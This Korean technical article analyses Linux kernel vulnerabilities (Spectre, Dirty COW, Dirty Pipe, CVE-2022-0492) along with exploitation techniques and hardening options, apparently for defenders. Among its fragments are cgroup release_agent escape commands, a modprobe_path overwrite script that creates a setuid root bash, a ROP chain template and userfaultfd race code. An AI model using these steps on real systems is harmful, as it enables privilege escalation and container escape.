커널 보안 취약점 사례

대표적인 커널 보안 취약점 사례를 원인·악용 경로·완화 기법 관점에서 심층 분석합니다. Spectre/Meltdown 같은 마이크로아키텍처 취약점, Dirty COW 등 메모리 동기화 결함, 권한 상승·정보 유출 패턴의 공통 구조, 패치 전략과 회귀 위험, 배포판 백포트 시 주의점, 커널 설정 기반 완화 옵션의 성능 영향, 재현 실험과 포렌식 관찰 포인트까지 보안 대응 체계를 강화하기 위한 실무 지식을 다룹니다.

역사적 커널 보안 취약점 사례

리눅스 커널의 보안 취약점은 하드웨어 수준의 설계 결함부터 소프트웨어 논리 오류까지 다양한 형태로 발견되어 왔습니다. 주요 사례를 분석하고, 각 취약점이 커널 보안 아키텍처에 미친 영향과 완화 기법의 변천을 살펴봅니다.

Spectre 변종들과 완화 기법 변천사

2018년 1월 공개된 Spectre 취약점은 현대 프로세서의 투기적 실행(speculative execution) 메커니즘을 악용하여 커널 메모리를 읽어낼 수 있는 하드웨어 수준의 결함입니다. 커널은 소프트웨어 완화 기법을 통해 이 문제에 대응해 왔습니다.

/* 취약한 코드 패턴 — Spectre v1에 노출 */
if (index < array_size) {
    value = array[index];           /* 투기적 실행 시 bounds check 우회 */
    leak  = probe_array[value * 4096]; /* 캐시 사이드채널 */
}

/* 완화된 코드 패턴 — array_index_nospec() 적용 */
#include <linux/nospec.h>

if (index < array_size) {
    index = array_index_nospec(index, array_size); /* 투기적 실행 시 인덱스를 0으로 클램프 */
    value = array[index];
}

array_index_nospec()는 조건 분기와 무관하게 인덱스를 안전 범위로 제한하는 데이터 의존성 기반 마스킹을 수행합니다. 투기적 실행 중에도 인덱스가 유효 범위를 벗어나지 않도록 보장합니다.

/*
 * Retpoline: 간접 분기를 투기적 실행 불가능한 구조로 변환
 * GCC/Clang -mindirect-branch=thunk 옵션으로 자동 적용
 */

/* 일반 간접 호출 (취약) */
call *%rax                /* 분기 예측기가 대상을 조작 가능 */

/* Retpoline 변환 후 (완화) */
__x86_indirect_thunk_rax:
    call    retpoline_call_target
capture_ret:
    pause                    /* 투기적 실행이 여기서 무한 루프 */
    lfence
    jmp     capture_ret
retpoline_call_target:
    mov     %rax, (%rsp)     /* 실제 대상 주소를 리턴 스택에 배치 */
    ret                      /* ret로 간접 점프 → 분기 예측기 우회 */

/* 커널 내부 Spectre 완화 상태 확인 */
$ cat /sys/devices/system/cpu/vulnerabilities/spectre_v1
Mitigation: usercopy/swapgs barriers and __user pointer sanitization

$ cat /sys/devices/system/cpu/vulnerabilities/spectre_v2
Mitigation: Enhanced / Automatic IBRS; IBPB: conditional; STIBP: conditional; RSB filling; BHI: BHI_DIS_S

운영 환경 점검 체크리스트

권한 상승 취약점 패턴 분석

커널 권한 상승(privilege escalation) 취약점은 일반 사용자가 root 권한을 획득할 수 있게 하는 가장 위험한 유형의 버그입니다. 파일시스템, 프로세스 관리, 메모리 관리 서브시스템의 경계에서 권한 검사가 누락되는 패턴이 반복적으로 발견됩니다.

/* CVE-2022-0492 공격 흐름 (개념적 설명) */

/* 1. 컨테이너 내부에서 cgroup v1 마운트 */
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp

/* 2. 자식 cgroup 생성 및 notify_on_release 활성화 */
mkdir /tmp/cgrp/child
echo 1 > /tmp/cgrp/child/notify_on_release

/* 3. release_agent에 호스트 경로의 악성 스크립트 지정 */
echo /path/to/malicious_script > /tmp/cgrp/release_agent

/* 4. child cgroup에서 프로세스 시작 후 즉시 종료 */
/* → release_agent가 호스트 root로 실행됨 */
sh -c "echo \$\$ > /tmp/cgrp/child/cgroup.procs"

/* Dirty Pipe (CVE-2022-0847) 핵심 메커니즘 */

/* copy_page_to_iter_pipe()에서 플래그 초기화 누락 */
static size_t copy_page_to_iter_pipe(struct page *page, ...) {
    struct pipe_buffer *buf = &pipe->bufs[i_head & p_mask];
    buf->ops   = &page_cache_pipe_buf_ops;
    buf->page  = page;
    buf->offset = offset;
    buf->len   = bytes;
    /* BUG: buf->flags 초기화 누락!
     * 이전 사용에서 PIPE_BUF_FLAG_CAN_MERGE가 남아있으면
     * 후속 write()가 페이지 캐시를 직접 덮어씀 */
}

/* 수정: flags를 명시적으로 초기화 */
buf->flags = 0;  /* 또는 적절한 초기값 설정 */

권한 상승 취약점 전제 조건 비교

Container Escape 취약점

컨테이너는 커널의 namespace, cgroup, seccomp 등으로 격리를 구현하지만, 커널 자체가 공유되므로 커널 취약점을 통한 탈출(escape)이 가능합니다. 컨테이너 보안의 근본적 한계와 주요 탈출 사례를 분석합니다.

/* abstract Unix socket은 네트워크 네임스페이스에 바인딩됨 */
/* --net=host 컨테이너는 호스트의 abstract socket에 접근 가능 */

/* containerd shim이 abstract socket으로 API 노출 (취약) */
struct sockaddr_un addr;
addr.sun_family = AF_UNIX;
addr.sun_path[0] = '\0';  /* abstract namespace — 파일시스템에 없음 */
strncpy(&addr.sun_path[1], "/containerd-shim/...", ...);

/* 수정: filesystem-based socket으로 전환 → mount namespace로 격리 */
addr.sun_path[0] = '/';   /* 일반 경로 — mount namespace에 의해 격리됨 */
strncpy(addr.sun_path, "/run/containerd/shim/...", ...);

/* CVE-2022-0185: legacy_parse_param()에서의 정수 언더플로우 */

static int legacy_parse_param(struct fs_context *fc,
                              struct fs_parameter *param) {
    ...
    size_t len = 0;

    /* 여러 파라미터를 연결하며 len 누적 */
    len += strlen(param->key);
    len += strlen(param->string);

    /* BUG: len이 PAGE_SIZE를 초과할 때 size 계산에서 언더플로우 발생 */
    size_t size = PAGE_SIZE - len;  /* 언더플로우 → 매우 큰 값 */

    /* 오버플로우된 size로 memcpy → 힙 오버플로우 */
    memcpy(buf + len, param->string, size);
    ...
}

컨테이너 탈출 점검 명령 (실습)

# 1) user namespace 허용량 확인
sysctl user.max_user_namespaces

# 2) 컨테이너 런타임의 seccomp 적용 여부 확인 (예: Docker)
docker inspect --format '{{.HostConfig.SecurityOpt}} {{.HostConfig.Privileged}}' <container_id>

# 3) 호스트 네트워크 사용 컨테이너 탐지
docker ps --format '{{.ID}} {{.Names}} {{.Networks}}' | grep host

# 4) 최근 FUSE/overlay 관련 커널 로그 점검
dmesg | grep -Ei 'fuse|overlay|fsconfig|mount'

커널 정보 누출 (Information Leak) 패턴

커널 정보 누출은 커널 메모리의 내용이 사용자 공간으로 복사되어 KASLR 우회, 힙 스프레이 등 후속 공격에 활용되는 취약점 유형입니다. 초기화되지 않은 메모리가 사용자에게 전달되는 패턴이 가장 흔합니다.

/* 취약한 패턴: copy_to_user() 전 구조체 초기화 누락 */
struct user_info {
    __u32 type;      /* 4 bytes */
    __u64 value;     /* 8 bytes */
    /* 컴파일러가 type과 value 사이에 4바이트 패딩 삽입
     * 이 패딩은 초기화되지 않으면 커널 스택 데이터를 포함 */
};

long vulnerable_ioctl(struct file *f, unsigned int cmd, unsigned long arg) {
    struct user_info info;
    /* BUG: memset 누락! info의 패딩 바이트에 스택 잔류 데이터 존재 */
    info.type  = 1;
    info.value = get_some_value();
    /* 패딩 포함하여 16바이트 전체를 사용자 공간으로 복사 */
    if (copy_to_user((void __user *)arg, &info, sizeof(info)))
        return -EFAULT;
    return 0;
}

/* 수정된 패턴: memset()으로 전체 구조체 초기화 */
long safe_ioctl(struct file *f, unsigned int cmd, unsigned long arg) {
    struct user_info info;
    memset(&info, 0, sizeof(info));  /* 패딩 포함 전체 초기화 */
    info.type  = 1;
    info.value = get_some_value();
    if (copy_to_user((void __user *)arg, &info, sizeof(info)))
        return -EFAULT;
    return 0;
}

/* CONFIG_INIT_STACK_ALL_ZERO 효과 */

/* 컴파일러가 함수 진입 시 모든 로컬 변수를 자동 초기화 */
long example_ioctl(struct file *f, unsigned int cmd, unsigned long arg) {
    struct user_info info;
    /* -ftrivial-auto-var-init=zero에 의해
     * info 전체(패딩 포함)가 자동으로 0 초기화됨
     * 별도의 memset() 없이도 정보 누출 방지 */
    info.type  = 1;
    info.value = get_some_value();
    if (copy_to_user((void __user *)arg, &info, sizeof(info)))
        return -EFAULT;
    return 0;
}

/* 커널 빌드 설정 */
/* .config에서 다음 옵션 활성화 */
CONFIG_INIT_STACK_ALL_ZERO=y          /* 스택 전체 0 초기화 */
CONFIG_GCC_PLUGIN_STRUCTLEAK=y        /* STRUCTLEAK 플러그인 (GCC 전용) */
CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL=y /* 모든 참조 전달 구조체 초기화 */
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y     /* 힙 할당 시 0 초기화 */

코드 리뷰 체크리스트 (Information Leak)

• copy_to_user() 직전의 구조체가 패딩 포함 초기화됐는지 확인합니다.
• 에러 경로(goto out_err)에서 일부 필드만 초기화된 상태로 반환되지 않는지 확인합니다.
• 커널 포인터를 사용자 공간에 전달하는 로그/IOCTL 경로가 %px, raw pointer 출력에 의존하지 않는지 점검합니다.
• 신규 UAPI 구조체 추가 시 크기/정렬 변경이 구버전 사용자 공간과 충돌하지 않는지 검증합니다.

Dirty COW (CVE-2016-5195) — Copy-on-Write 경쟁 조건

2016년 10월 공개된 Dirty COW는 리눅스 커널 역사상 가장 널리 악용된 권한 상승 취약점 중 하나입니다. get_user_pages()의 Copy-on-Write 처리 과정에서 발생하는 경쟁 조건(race condition)을 악용하여, 읽기 전용 파일을 임의로 수정할 수 있습니다. 2007년(커널 2.6.22)부터 존재한 버그로, 약 9년간 커널에 잠복해 있었습니다.

/* Dirty COW (CVE-2016-5195) 경쟁 조건 분석 */

/*
 * 정상 CoW 흐름:
 * 1. write fault → do_wp_page() → 새 페이지 할당 및 복사
 * 2. PTE를 새 페이지로 업데이트 (RW)
 * 3. 원본 페이지는 변경되지 않음
 *
 * 경쟁 조건 흐름:
 * Thread A: write(/proc/self/mem) → get_user_pages(FOLL_WRITE)
 *   → faultin_page() → CoW 복사 시작
 * Thread B: madvise(MADV_DONTNEED) → 방금 만든 CoW 복사본을 무효화
 *   → PTE를 다시 원본 읽기 전용 페이지로 되돌림
 * Thread A: follow_page_mask() 재시도 → FOLL_WRITE 제거 후
 *   → 원본 읽기 전용 페이지에 쓰기 참조 반환!
 */

/* mm/gup.c — 취약한 코드 (수정 전) */
static long __get_user_pages(..., unsigned int gup_flags, ...) {
retry:
    ...
    page = follow_page_mask(vma, start, foll_flags, &page_mask);
    if (!page) {
        ret = faultin_page(tsk, vma, start, foll_flags, &nonblocking);
        /* CoW 복사가 일어났지만, 다른 스레드가
         * madvise(MADV_DONTNEED)로 복사본을 폐기할 수 있음 */
        if (!ret)
            goto retry;
        /* retry 시 FOLL_WRITE가 빠져 원본 페이지에 접근 */
    }
}

/* 수정: FOLL_COW 플래그 도입 (commit 19be0eaffa3a) */
/* CoW 복사가 완료된 경우에만 쓰기 접근을 허용하고,
 * retry 시 CoW 상태를 재검증 */

하드웨어 투기적 실행 취약점 변형들

Spectre/Meltdown 이후 프로세서의 투기적 실행 관련 취약점이 지속적으로 발견되었습니다. 커널은 각 변형에 대해 소프트웨어 완화를 구현하고, /sys/devices/system/cpu/vulnerabilities/를 통해 시스템의 취약 여부와 완화 상태를 노출합니다.

투기적 실행 취약점 계보

/* L1TF 완화 상태 확인 */
$ cat /sys/devices/system/cpu/vulnerabilities/l1tf
Mitigation: PTE Inversion; VMX: conditional cache flushes, SMT vulnerable

/*
 * L1TF 커널 완화 기법:
 *
 * 1. PTE Inversion: non-present PTE에서 물리 주소 비트를 반전시켜
 *    투기적 실행 시 L1 캐시 히트를 방지
 *    (arch/x86/include/asm/pgtable.h — protnone_mask())
 *
 * 2. VMX L1D Flush: VM 진입 전 L1 데이터 캐시를 플러시
 *    kvm_intel.vmentry_l1d_flush=always|cond|never
 *
 * 3. SMT 비활성화: HyperThread 형제 코어를 통한 L1D 공유 차단
 *    nosmt 또는 echo off > /sys/devices/system/cpu/smt/control
 */

/* 커널 부트 파라미터 */
l1tf=full        /* PTE inversion + VMX flush + SMT 비활성화 */
l1tf=full,force  /* 강제 적용 (사용자 변경 불가) */
l1tf=flush       /* PTE inversion + VMX flush (SMT 유지) */
l1tf=flush,nosmt /* flush + SMT 비활성화 */
l1tf=off         /* 완화 비활성화 (위험) */

/* MDS 취약점 변형들 */

/*
 * MSBDS (CVE-2018-12126) — Microarchitectural Store Buffer Data Sampling
 *   Store Buffer에 남은 이전 데이터를 투기적으로 읽기 (Fallout)
 *
 * MFBDS (CVE-2018-12130) — Microarchitectural Fill Buffer Data Sampling
 *   Fill Buffer의 데이터를 투기적으로 읽기 (ZombieLoad)
 *
 * MLPDS (CVE-2018-12127) — Microarchitectural Load Port Data Sampling
 *   Load Port에 남은 데이터를 투기적으로 읽기 (RIDL)
 *
 * MDSUM (CVE-2019-11091) — Microarchitectural Data Sampling Uncacheable Memory
 *   Uncacheable 메모리 접근 시 마이크로아키텍처 버퍼 데이터 누출
 */

/* MDS 완화 확인 */
$ cat /sys/devices/system/cpu/vulnerabilities/mds
Mitigation: Clear CPU buffers; SMT vulnerable

/*
 * 커널 완화: VERW 명령어를 사용한 CPU 버퍼 클리어
 * - 컨텍스트 전환 시 VERW 실행 → 내부 버퍼 덮어쓰기
 * - 커널→사용자 모드 전환 시 실행
 * - VM exit 시 실행
 * - idle 진입 시 실행
 *
 * 커널 부트 파라미터:
 * mds=full       — VERW 완화 + SMT 경고
 * mds=full,nosmt — VERW 완화 + SMT 비활성화
 * mds=off        — 완화 비활성화
 */

(투기적 실행 취약점 완화의 운영 관점은 커널 보안 — 커널 하드닝을 함께 참고하세요. 이 문서에서는 대표 취약점 패턴을 발췌해 설명합니다.)

Use-After-Free (UAF) 취약점 패턴

Use-After-Free는 리눅스 커널에서 가장 빈번하게 발견되는 메모리 안전성 취약점 유형입니다. 해제된 메모리 객체에 대한 참조가 남아있어, 해당 메모리가 재할당된 후 공격자가 제어하는 데이터로 덮어쓸 수 있습니다. 참조 카운트 관리 오류, 비동기 콜백의 생명주기 불일치, RCU 보호 누락 등이 근본 원인입니다.

UAF 의심 사고 초기 대응 절차

1. 증거 보존
   dmesg, journalctl -k, 관련 코어 덤프를 먼저 보존하고 재부팅은 마지막에 수행합니다.
2. 취약 경로 차단
   문제 서브시스템이 식별되면 관련 기능(예: 특정 netfilter rule update, ioctl 경로)을 임시 차단합니다.
3. 탐지 강화
   재현 환경에서 KASAN/KFENCE를 활성화해 재발 경로를 수집합니다.
4. 패치 우선순위
   해당 CVE 패치와 의존 패치를 묶어 적용하고, 동일 클래스(UAF) 관련 백포트 누락 여부를 함께 점검합니다.

Race Condition 취약점 패턴

커널의 동시성(concurrency) 처리에서 발생하는 경쟁 조건은 재현이 어렵고 탐지가 늦어지는 특성 때문에 장기간 잠복하는 경우가 많습니다. Dirty COW, 다수의 파일시스템/네트워크 스택 취약점이 이 패턴에 해당합니다.

/* Race Condition 취약점 탐지 도구 */

/* 1. KCSAN (Kernel Concurrency Sanitizer) — 동적 데이터 레이스 탐지 */
CONFIG_KCSAN=y
CONFIG_KCSAN_STRICT=y            /* 엄격 모드 */
CONFIG_KCSAN_REPORT_ONCE_IN_MS=0 /* 모든 레이스 보고 */

/* KCSAN이 탐지하는 패턴:
 * - 락 없는 공유 변수 동시 접근 (data race)
 * - READ_ONCE/WRITE_ONCE 누락
 * - 보호되지 않는 구조체 필드 접근
 */

/* 2. Lockdep — 잠금 의존성 및 데드락 사전 탐지 */
CONFIG_LOCKDEP=y
CONFIG_PROVE_LOCKING=y
CONFIG_LOCK_STAT=y

/* 3. syzbot/syzkaller — 퍼저 기반 경쟁 조건 탐지
 * Google이 운영하는 커널 퍼저로, 시스템 콜을 무작위 조합하여
 * 멀티스레드 시나리오에서 경쟁 조건을 자동 탐지
 * https://syzkaller.appspot.com — 발견된 버그 대시보드 */

CVE 수명주기와 커널 보안 팀 프로세스

커널 보안 취약점은 발견부터 최종 사용자 시스템에 패치가 적용될 때까지 여러 단계를 거칩니다. 리눅스 커널 보안 팀(security@kernel.org)의 대응 프로세스와 각 단계의 시간적 제약, 배포판과의 협력 구조를 이해하면 보안 대응 체계를 효과적으로 구축할 수 있습니다.

# 현재 시스템의 CVE 패치 적용 상태 확인

# 1) 커널 버전 및 빌드 일자 확인
uname -r
cat /proc/version

# 2) 배포판별 보안 패치 확인
# RHEL/CentOS
rpm -q --changelog kernel | head -50
# Ubuntu/Debian
apt changelog linux-image-$(uname -r) 2>/dev/null | head -50

# 3) 하드웨어 취약점 완화 상태 종합 확인
for f in /sys/devices/system/cpu/vulnerabilities/*; do
    echo "$(basename $f): $(cat $f)"
done

# 4) 커널 보안 설정 확인 (CONFIG_ 옵션)
if [ -f /boot/config-$(uname -r) ]; then
    grep -E 'KASAN|UBSAN|FORTIFY|HARDENED|STACKPROTECTOR|CFI' \
         /boot/config-$(uname -r)
fi

CVE 처리 타임라인 비교

Responsible Disclosure vs Full Disclosure

커널 보안 취약점의 공개 방식은 보안 커뮤니티에서 지속적인 논쟁 주제입니다. 리눅스 커널은 Coordinated Disclosure(조율된 공개) 정책을 따르며, 이는 패치가 준비될 때까지 취약점 상세 정보를 비공개로 유지하는 방식입니다.

CVSS 점수 산정과 커널 취약점

일반적인 커널 로컬 권한 상승 취약점의 CVSS v3.1 점수는 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)로 산정됩니다. 컨테이너 탈출이 가능한 경우 Scope가 Changed로 변경되어 8.8 이상이 됩니다.

커널 익스플로잇 기법

커널 취약점을 실제 공격으로 연결하는 익스플로잇 기법은 취약점의 유형에 따라 다양한 패턴을 보입니다. 각 기법의 원리와 커널이 이에 대응하는 방어 메커니즘을 함께 이해하면 효과적인 보안 전략을 수립할 수 있습니다.

/* 커널 힙 익스플로잇의 핵심 개념: msg_msg를 이용한 힙 스프레이 */

/* msg_msg 구조체는 크기 조절이 자유롭고 사용자 데이터를 포함 */
struct msg_msg {
    struct list_head m_list;   /* 16 bytes — 링크드 리스트 */
    long m_type;                /* 8 bytes — 메시지 타입 */
    size_t m_ts;                /* 8 bytes — 데이터 크기 */
    struct msg_msgseg *next;   /* 8 bytes — 다음 세그먼트 */
    void *security;             /* 8 bytes — LSM 보안 데이터 */
    /* 이후 사용자 데이터가 바로 이어짐 */
};

/* 공격자는 msgsnd()로 원하는 크기의 msg_msg 할당 가능:
 * 헤더(48 bytes) + 사용자 데이터 = 총 할당 크기
 * kmalloc-64, kmalloc-128, ... 등 원하는 slab 캐시 타겟팅 */

/* UAF + msg_msg 힙 스프레이 공격 흐름 */
/* 1. 취약점으로 커널 객체 해제 (UAF 트리거) */
/* 2. 해제된 슬랩과 동일 크기의 msg_msg 대량 할당 */
/* 3. msg_msg 데이터에 조작된 함수 포인터 배치 */
/* 4. 원래 코드 경로가 해제된 객체 참조 → 조작된 함수 호출 */

/* 방어: CONFIG_RANDOM_KMALLOC_CACHES (6.6+)
 * 동일 크기 요청이라도 16개 랜덤 캐시 중 하나에 할당
 * → 힙 스프레이의 예측 가능성을 대폭 감소시킴 */

/* ROP 체인 개념 — 권한 상승 (SMEP/SMAP 우회) */

/* 목표: commit_creds(prepare_kernel_cred(0)) 실행 */

/* 스택 피벗(stack pivot)으로 제어 흐름 탈취 후:
 * ROP 가젯들을 체인으로 연결 */

/* 가젯 예시 (실제 오프셋은 커널 빌드마다 다름) */
unsigned long rop_chain[] = {
    pop_rdi_ret,              /* pop rdi; ret — 인자 설정 */
    0,                        /* rdi = 0 (init_cred) */
    prepare_kernel_cred_addr, /* prepare_kernel_cred(0) 호출 */
    pop_rdi_ret,              /* 반환값(rax)을 rdi로 이동 필요 */
    mov_rdi_rax_ret,          /* mov rdi, rax; ret */
    commit_creds_addr,        /* commit_creds(new_cred) 호출 */
    swapgs_restore_regs,      /* 사용자 모드 복귀 준비 */
    iretq_addr,               /* iretq — 사용자 모드로 복귀 */
    user_rip,                 /* 사용자 공간 복귀 주소 */
    user_cs,                  /* CS 레지스터 */
    user_rflags,              /* RFLAGS */
    user_sp,                  /* RSP */
    user_ss,                  /* SS 레지스터 */
};

/* 방어 기법:
 * - KASLR: 가젯 주소 예측 불가
 * - CFI (Control-Flow Integrity): 간접 호출 대상 검증
 * - Shadow Call Stack (ARM64): 리턴 주소 별도 보호
 * - Stack Canary: 스택 오버플로우 감지 */

userfaultfd를 이용한 레이스 윈도우 확장

/* userfaultfd: 페이지 폴트를 사용자 공간에서 처리하는 메커니즘
 * 공격자는 이를 이용해 커널이 사용자 메모리를 복사하는 중간에
 * 실행을 중단시켜 경쟁 조건의 윈도우를 확장합니다 */

#include <linux/userfaultfd.h>
#include <sys/ioctl.h>

/* 1. userfaultfd 생성 및 매핑 */
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
struct uffdio_api api = { .api = UFFD_API };
ioctl(uffd, UFFDIO_API, &api);

/* 2. 감시할 메모리 영역 등록 */
void *page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
struct uffdio_register reg = {
    .range = { .start = (unsigned long)page, .len = 0x1000 },
    .mode  = UFFDIO_REGISTER_MODE_MISSING
};
ioctl(uffd, UFFDIO_REGISTER, &reg);

/* 3. 커널이 copy_from_user(page)를 호출하면
 *    페이지 폴트 → userfaultfd 핸들러에서 블로킹
 *    → 이 동안 다른 스레드에서 레이스 조건 트리거 */

/* 방어: 커널 5.11+에서 unprivileged userfaultfd 기본 비활성화
 * sysctl vm.unprivileged_userfaultfd=0 */

modprobe_path 덮어쓰기 기법

커널 내부의 modprobe_path 전역 변수는 알 수 없는 바이너리 형식을 실행할 때 호출되는 모듈 로더의 경로를 저장합니다. 이 변수를 임의 쓰기(arbitrary write) 프리미티브로 덮어쓰면, root 권한으로 공격자의 스크립트를 실행할 수 있습니다.

/* modprobe_path 공격 기법 */

/* 커널 내부: kernel/kmod.c */
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";

/* 알 수 없는 바이너리 형식 실행 시:
 * do_execve() → search_binary_handler() → request_module()
 * → call_modprobe() → modprobe_path 실행 (root 권한) */

/* 공격 흐름:
 * 1. 임의 쓰기 프리미티브로 modprobe_path를 "/tmp/pwn" 등으로 변경
 * 2. /tmp/pwn 스크립트 생성 (chmod u+s /bin/bash 등)
 * 3. 알 수 없는 형식의 파일 실행 (예: echo -ne '\xff\xff\xff\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x)
 * 4. 커널이 /tmp/pwn을 root로 실행 → 권한 상승 완료 */

/* 준비: 악성 스크립트 */
/* #!/bin/sh
 * cp /bin/bash /tmp/rootbash
 * chmod u+s /tmp/rootbash */

/* 방어:
 * - CONFIG_STATIC_USERMODEHELPER=y: 사용자 모드 헬퍼 경로 고정
 * - CONFIG_SECURITY_LOCKDOWN_LSM: 커널 수정 차단
 * - KASLR + SMAP: modprobe_path 주소 예측 방지 */

Cross-cache 공격 (6.1+)

전통적인 힙 스프레이는 동일한 slab 캐시 내에서 객체를 교체하지만, 최신 커널의 RANDOM_KMALLOC_CACHES 방어를 우회하기 위해 cross-cache 공격이 등장했습니다. 이 기법은 slab 페이지를 완전히 비운 뒤 버디 할당자로 반환시키고, 다른 캐시에서 동일 페이지를 재할당받아 타입 혼동을 유발합니다.

/* Cross-cache 공격 개념 */

/* 기존 same-cache 공격 (RANDOM_KMALLOC_CACHES로 방어됨):
 * 1. 취약점으로 kmalloc-128 객체 해제
 * 2. msgsnd()로 같은 kmalloc-128에 공격자 데이터 할당
 * → RANDOM_KMALLOC_CACHES: 16개 랜덤 캐시 중 1개에 할당
 * → 같은 캐시에 할당될 확률 = 1/16 (성공률 급감) */

/* Cross-cache 공격 (방어 우회):
 * 1. 대상 slab 페이지의 모든 객체를 해제
 *    (slab 페이지가 완전히 비면 버디 할당자로 반환됨)
 * 2. 다른 slab 캐시가 버디에서 같은 페이지를 할당받음
 * 3. 공격자가 새 캐시의 객체를 제어
 *    → slab 캐시 종류에 무관하게 공격 가능 */

/* 실행 단계:
 * Phase 1 — 대상 객체가 있는 slab 페이지 식별
 * Phase 2 — 해당 페이지의 다른 모든 객체를 해제 (drain)
 * Phase 3 — 대상 객체 해제 → 페이지가 버디로 반환
 * Phase 4 — 원하는 타입의 객체 대량 할당 (cross-cache spray)
 * Phase 5 — 타입 혼동을 통한 프리미티브 획득 */

/* 방어 (진행 중):
 * - Page Allocator 레벨 격리 (보안 크리티컬 객체 전용 풀)
 * - kmem_cache에 SLAB_NO_MERGE 플래그
 * - 커널 6.6+: CONFIG_SLAB_VIRTUAL (논의 중) */

KASLR 우회 기법과 방어 강화

KASLR(Kernel Address Space Layout Randomization)은 커널 코드, 모듈, 힙의 기본 주소를 부팅 시 무작위화하여 공격자가 ROP 가젯이나 중요 함수의 주소를 예측하지 못하게 합니다. 그러나 다양한 정보 유출 채널을 통해 우회될 수 있으며, 커널은 이에 대한 방어를 지속적으로 강화하고 있습니다.

/* KASLR 관련 커널 보안 설정 점검 */

/* 1. KASLR 활성화 확인 */
/* 부트 로그에서 확인 */
/* dmesg | grep "KASLR enabled" */

/* 2. 커널 포인터 노출 제어 */
/* /proc/sys/kernel/kptr_restrict 값:
 * 0: 모든 사용자에게 커널 포인터 노출 (위험)
 * 1: 권한 있는 사용자에게만 노출 (CAP_SYSLOG)
 * 2: 모든 사용자에게 숨김 (권장) */

/* 강화 설정 예시 */
/* /etc/sysctl.d/90-kaslr-hardening.conf */
kernel.kptr_restrict = 2       /* 커널 포인터 완전 숨김 */
kernel.dmesg_restrict = 1     /* dmesg 비특권 접근 차단 */
kernel.perf_event_paranoid = 3 /* perf 이벤트 접근 제한 */

/* 3. %pK 포맷 지시자 — 커널 내부 포인터 출력 제어 */
/* printk에서 %pK를 사용하면 kptr_restrict에 따라
 * 실제 주소 또는 0000000000000000 출력 */
pr_info("object at %pK\n", obj);  /* %pK: 권한 기반 출력 */
pr_info("object at %px\n", obj);  /* %px: 항상 실제 주소 (디버그 전용) */
pr_info("object at %p\n", obj);   /* %p: 해시된 값 (5.x+) */

syzkaller 퍼저 아키텍처와 커널 버그 탐지

syzkaller는 Google이 개발한 커버리지 기반(coverage-guided) 커널 퍼저로, 현재 리눅스 커널 보안 취약점의 상당수를 자동으로 발견하고 있습니다. syzbot(syzkaller의 자동화된 인스턴스)은 지속적으로 최신 커널을 퍼징하며, 발견된 버그를 자동으로 보고합니다.

/* syzkaller 설정 예시 (syz-manager 설정 파일) */
{
    "target": "linux/amd64",
    "http": "127.0.0.1:56741",
    "workdir": "/home/user/syzkaller/workdir",
    "kernel_obj": "/home/user/linux/build",
    "image": "/home/user/image/bullseye.img",
    "sshkey": "/home/user/image/bullseye.id_rsa",
    "syzkaller": "/home/user/gopath/src/github.com/google/syzkaller",
    "type": "qemu",
    "vm": {
        "count": 4,
        "kernel": "/home/user/linux/build/arch/x86/boot/bzImage",
        "cpu": 2,
        "mem": 2048
    }
}

/* 퍼징 대상 커널 빌드 옵션 (필수) */
CONFIG_KCOV=y                    /* 코드 커버리지 수집 */
CONFIG_KCOV_INSTRUMENT_ALL=y     /* 전체 커널 계측 */
CONFIG_KASAN=y                   /* 메모리 오류 탐지 */
CONFIG_KASAN_INLINE=y            /* 인라인 계측 (정확도 높음) */
CONFIG_UBSAN=y                   /* 정의되지 않은 동작 탐지 */
CONFIG_KCSAN=y                   /* 데이터 레이스 탐지 */
CONFIG_LOCKDEP=y                 /* 잠금 의존성 검사 */
CONFIG_DEBUG_INFO=y              /* 디버그 정보 포함 */
CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT=y
CONFIG_CONFIGFS_FS=y             /* 퍼징 대상 서브시스템 활성화 */
CONFIG_FAULT_INJECTION=y         /* 오류 주입 (선택적) */

커널 하드닝 옵션

리눅스 커널은 다양한 컴파일 시점 및 런타임 보안 옵션을 제공합니다. 이러한 하드닝 옵션은 취약점이 존재하더라도 공격의 성공 확률을 크게 낮추는 방어 심층(defense-in-depth) 전략의 핵심입니다.

/* 권장 커널 하드닝 설정 (.config) */

/* === 메모리 보호 === */
CONFIG_HARDENED_USERCOPY=y       /* copy_to/from_user 범위 검증 */
CONFIG_FORTIFY_SOURCE=y          /* memcpy/strcpy 등 오버플로우 탐지 */
CONFIG_INIT_STACK_ALL_ZERO=y     /* 스택 변수 0 초기화 */
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y /* 힙 할당 시 0 초기화 */
CONFIG_INIT_ON_FREE_DEFAULT_ON=y  /* 힙 해제 시 0 초기화 */

/* === SLAB 보호 === */
CONFIG_SLAB_FREELIST_RANDOM=y    /* 프리리스트 순서 무작위화 */
CONFIG_SLAB_FREELIST_HARDENED=y  /* 프리리스트 포인터 인코딩 */
CONFIG_RANDOM_KMALLOC_CACHES=y   /* 다중 랜덤 캐시 (6.6+) */

/* === 코드 무결성 === */
CONFIG_CFI_CLANG=y               /* Clang CFI (간접 호출 검증) */
CONFIG_SHADOW_CALL_STACK=y       /* Shadow Call Stack (ARM64) */
CONFIG_STACKPROTECTOR_STRONG=y   /* 스택 카나리 (강력 모드) */
CONFIG_STRICT_KERNEL_RWX=y       /* 커널 코드/데이터 RWX 분리 */

/* === 주소 보호 === */
CONFIG_RANDOMIZE_BASE=y          /* KASLR 활성화 */
CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT=y /* 스택 오프셋 무작위화 */
CONFIG_PAGE_TABLE_ISOLATION=y    /* KPTI (x86) */

/* === 참조 카운트 보호 === */
CONFIG_REFCOUNT_FULL=y           /* refcount_t 오버플로우/언더플로우 감지 */

/* === 커널 잠금 === */
CONFIG_SECURITY_LOCKDOWN_LSM=y   /* Lockdown LSM */
CONFIG_SECURITY_LOCKDOWN_LSM_EARLY=y
CONFIG_LOCK_DOWN_KERNEL_FORCE_CONFIDENTIALITY=y

